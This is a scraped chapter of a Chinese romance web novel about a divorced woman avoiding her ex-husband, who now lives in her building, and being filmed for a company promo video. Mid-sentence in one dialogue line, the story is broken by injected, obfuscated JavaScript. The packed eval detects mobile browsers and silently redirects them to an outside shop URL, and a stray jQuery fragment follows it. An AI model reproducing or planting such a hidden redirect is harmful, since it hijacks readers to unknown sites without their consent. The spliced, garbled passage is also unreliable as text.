顾西洲不爱玩手机,电梯空间就这么大,扫一眼能看清全貌。
沈竹清见到他,似见到洪水猛兽。
他和彭思哲的话题止步于此,过去的人和事,终究是过去了。
楼下的事沈竹清不知道,她还没有起床,赖在床上看电视剧。
不和父母住在同一座城市,自由自在。
思绪偶尔飘到楼下,不知道他住哪一户,不过,不重要。
还没有她的外卖重要,剩下最后100米。
外卖放在门口,沈竹清等了几分钟,出门拿进卧室。
热汤浇在米线上方,红油汤底飘着辣椒的香气,食欲大增,她搅动米线,绿豆芽和鸡丁翻涌上来。
左上角放着平板,正在播放谍战剧。
她住南次卧,楼层适中,被前面的高层遮挡些阳光,挡不住沁在空气里的热浪。
白色风扇吹起她鬓边的碎发,盘着腿吃着米线,还有一杯冰奶茶。
她有很久没有这样肆意生活了。
从前,父母给她立女孩淑女的规矩,后来和顾西洲一起生活,他是她的老公,她要注意形象,无形中戴上了枷锁,逐渐忘了自己原本的样子。
沈竹清抱着平板出门丢垃圾,电视看到最精彩处,吃饭看电视,是父母的大忌。
现在,她才不在意。
沈竹清转个弯去了厨房,切了大青芒,装进精致的小黄花碗里。
恰好,薛雨桐打着哈欠出来,她穿着肆意,宽大的T恤加人字拖,两人的打扮异曲同工。
同住在一个屋檐下,她们极少碰面,互不打扰。
要相处很长一段时间,沈竹清下定决心,主动破冰,“你要吃吗?”
“不……”薛雨桐本想拒绝,对上她的眼睛,于心不忍,“吃,谢谢。”
两人围着灶台,各拿一根叉子。
薛雨桐盯着沈竹清看,她吃芒果很奇怪,张大嘴巴小心翼翼咀嚼。
沈竹清解释,“我芒果过敏,不能碰到嘴唇。”
薛雨桐面无表情,“那你还吃。”
沈竹清眉眼带笑,“不碰到嘴唇就没事。”
薛雨桐评价,“你还挺另类的,也不嫌麻烦。”
她是懒人,没切没洗的水果不吃,更不用说会让自己过敏的东西。
不知不觉,芒果碗见了底。
薛雨桐抢着说:“你切的芒果,我来刷碗。”她不想欠人人情。
沈竹清点头,“好。”
突然,“砰”一声,薛雨桐手滑,陶瓷碗掉在地上,碎了一地。
“不好意思,你的碗多少钱?我赔给你。”
沈竹清只问:“有没有扎到你的脚?”
薛雨桐摇摇头,“没有。”
沈竹清低头观察了几秒,找出订单,“10.9块。”
薛雨桐吃惊一瞬,“转给你了。”和她预料的不一样,按照她的剧本,不应该是“算了,没多少钱吗?”
亦或者是生气或者不耐烦,但沈竹清的脸上没有一丝丝的波动。
沈竹清找来透明胶带,她蹲下来,“一起收拾更快。”
薛雨桐扫地,“你不生气吗?”
沈竹清不明所以,“生什么气,你不是赔我钱了吗?我再买一个就行了。”
细碎的陶瓷渣黏在胶带上,连同其他残骸一起用胶带粘牢。
薛雨桐问:“你在写什么?”
沈竹清只道:“随便写几个字。”
纸上是秀丽的六个字,【内有玻璃碎渣。】
薛雨桐明白,这是避免清洁工扎到手,原来真有人这样做,有点傻乎乎的认真。
“我去丢,我闯的祸。”
她丢了垃圾,带回来一根冰棍和一瓶雪碧,依旧没有表情,“给你。”
“谢了。”沈竹清攥着冰凉的袋子。
冰得像眼前姑娘的脸。
她拆开袋子,咬了一口,原来是夹心馅,甜的。
快乐的周末转瞬即逝,邪恶的周一转眼就到,没有人喜欢周一。
沈竹清脑袋懵,眼前黑了片刻,提前十分钟起床,要了她的老命。
两家公司上班时间接近,相处两年,她了解顾西洲的生活习性,必须要提前出门,确保不会遇到他。
她还是不懂,工作在同一个产业园,居住在同一个小区,为什么孽缘比正缘出现的几率大?
一个合格的前夫不应该“死”了吗?
得益于她的精心安排,一连几天,她没有见过顾西洲。
哪有那么巧,只要她略施小计,即使住在同一栋楼,也不会碰见。
南城的夏季烈日炎炎,高温预警绵延数日,她刚好赶上电梯。
沈竹清习惯站在按钮前方,方便上下,电梯在9楼停下,鼻尖传来熟悉的气息。
她不禁抬起眸,对上一双熟悉的深色瞳仁。
怎么会是顾西洲?他不是应该走了吗?
四目相对间,空气凝结,一切仿佛停止了流动。
他的脸上没有表情,一贯的平淡无波。
很快,他挪开了目光,走进电梯另一处角落,与她形成对角线。
电梯内的时间仿佛按了慢速键,后背好像有一束锐利的目光,盯得她后背发烫。
沈竹清攥紧手掌,盯着屏幕上缓慢跳动的数字。
“叮”,一楼到了。
沈竹清第一个踏出去,不管后面的人。
小区距离单位约800米,一个尴尬的距离,运气好抢到共享单车,运气不好只能走路。
今天,天不遂人愿。
沈竹清快步走,她不爱撑太阳伞。
一辆黑色轿车降下速度,与她并肩前行,车窗降下,顾西洲清冽的声音传了过来,“要带你一程吗?”
“不用了,谢谢顾总。”沈竹清没有看向他,加快脚步远离他。
她的语气疏离、冷淡,顾西洲没有强求,踩下油门驶入主干道,汽车消失在沈竹清的视野中。
车内的男人戴好墨镜,嘴角微勾。
顾总?她可真客气。
彭思哲也看见了沈竹清,当然,还有顾西洲的车子,他在后方观察了一会,两条平行线。
到公司,他搭在顾西洲的肩膀上,“看到你前妻了,你还挺狠心的,这么热的天,也不说顺人一程。”
顾西洲拍掉他的手,掸了掸肩膀的褶皱,“和我有关系吗?我又不是雷锋,不做好人好事。”
“得,我就多余操心。”彭思哲进了办公室。
同一时刻,杭梦晗拉开椅子,兴奋和沈竹清分享,“竹清,我在园区里看到了一个帅哥,那腿长的呦,比例逆天。”
沈竹清毫无兴趣,“那你要追吗?”
“不,男人嘛,远观就好。”杭梦晗是单纯的颜控,“而且这么帅的,一定有主了。”
男同事听见她的话,酸着口吻说:“能有多帅?”
杭梦晗嫌弃开口,“比你帅多了好吧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17878230|212284||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
她拉取同盟,“竹清肯定也这样认为的。”
沈竹清:???
她毫不在意男人帅不帅,从小看电视剧,都看美女,只是她的性取向是男。
杭梦晗将手机递到她的面前,沈竹清扫了一眼,被吓了一跳。
这不是她那“死”了的前夫吗?
模糊的侧脸,经典的黑衣白裤,优越的身高,在人群中引人注目。
沈竹清不置可否,“我喜欢美女,对男人不感兴趣。”
同事是上班前的例行八卦摸鱼,倒不是真在意帅不帅。
部门领导齐遇直直向他们走来,刚刚热闹的工位噤若寒蝉。
他在沈竹清面前停下,“竹清,宣传部想拍个研发部的视频,需要一个主出镜人,我推荐了你。”
沈竹清怔住,“啊?我吗?”
齐遇点头,“你是我们研发部的门面,当然是你上了啊,你准备准备,争取尽快录好,早点发出去。”
沈竹清说:“用ai讲解不就好了。”
齐遇否定道:“ai怎么能和你比,展现我们部门的面貌,非你莫属,我把你推给宣传部了,你记得通过。”
领导通知完进了办公室,他画的饼沈竹清咽不下。
沈竹清害怕自我介绍,害怕上台演讲,害怕面对镜头。
“有了这一回,后面每回都是你。”杭梦晗侧着脑袋,“不过,回头看到这些男同事,我要是领导,闭着眼都选你。”
被揶揄的男同事们听不见,他们自信得很。
沈竹清微微笑,想把手里烫手的山芋扔出去。
右下角的微信跳动,有人申请添加好友。
是宣传部的同事芮晨悦,【沈工,你好,这是我们的脚本,你可以先看看,妆造和服饰由我们负责。】
沈竹清:【好的。】
她搜索公司的账号,点赞多数是个位数,至多不超过50,这些赞可能来自内部人员。
沈竹清化了淡妆,站在镜头前,整个人神经紧绷,肩膀坚硬,大脑空白忘了词。
“大家好……”
她说不下去,声线在发抖。
“大家好,我是芯片……”再次卡壳,宣传部的同事脸色耷拉下去,失去了耐心。
沈竹清过意不去,“抱歉。”
芮晨悦安慰她,“没事,紧张是正常的,我们又不是演员,自然一点就好了。”
沈竹清深呼吸一口气,尽量自然地笑,她缓缓开口,“大家好,我是芯片研发师沈竹清,今天,请跟着我的镜头,体验我的一天。”
终于拍完了第一个镜头。
接下来来到办公区,面对半生不熟的同事,更是挑战。
芮晨悦鼓励她,“你只介绍你的,不用管我们。”
沈竹清掐了掐手心,强迫自己集中注意力,她的舒适区,她比刚刚表现好,虽然还是紧张,不细看看不出来。
芮晨悦夸赞道:“很好,沈工,其实你很上镜的,自信点就更好了。”
她们回看录像,沈竹清尴尬说:“我就不看了。”
芮晨悦拉住了她,“看习惯就好了,开始都觉得不好意思,一回生,二回熟,看看吧。”
听着自己的声音从小窗口发出,沈竹清想捂住耳朵,很怪异。
傍晚时分,拍摄园区空镜。
远处,彭思哲喊顾西洲,“顾总,看什么呢?”
顾西洲单手插进兜里,“没什么。”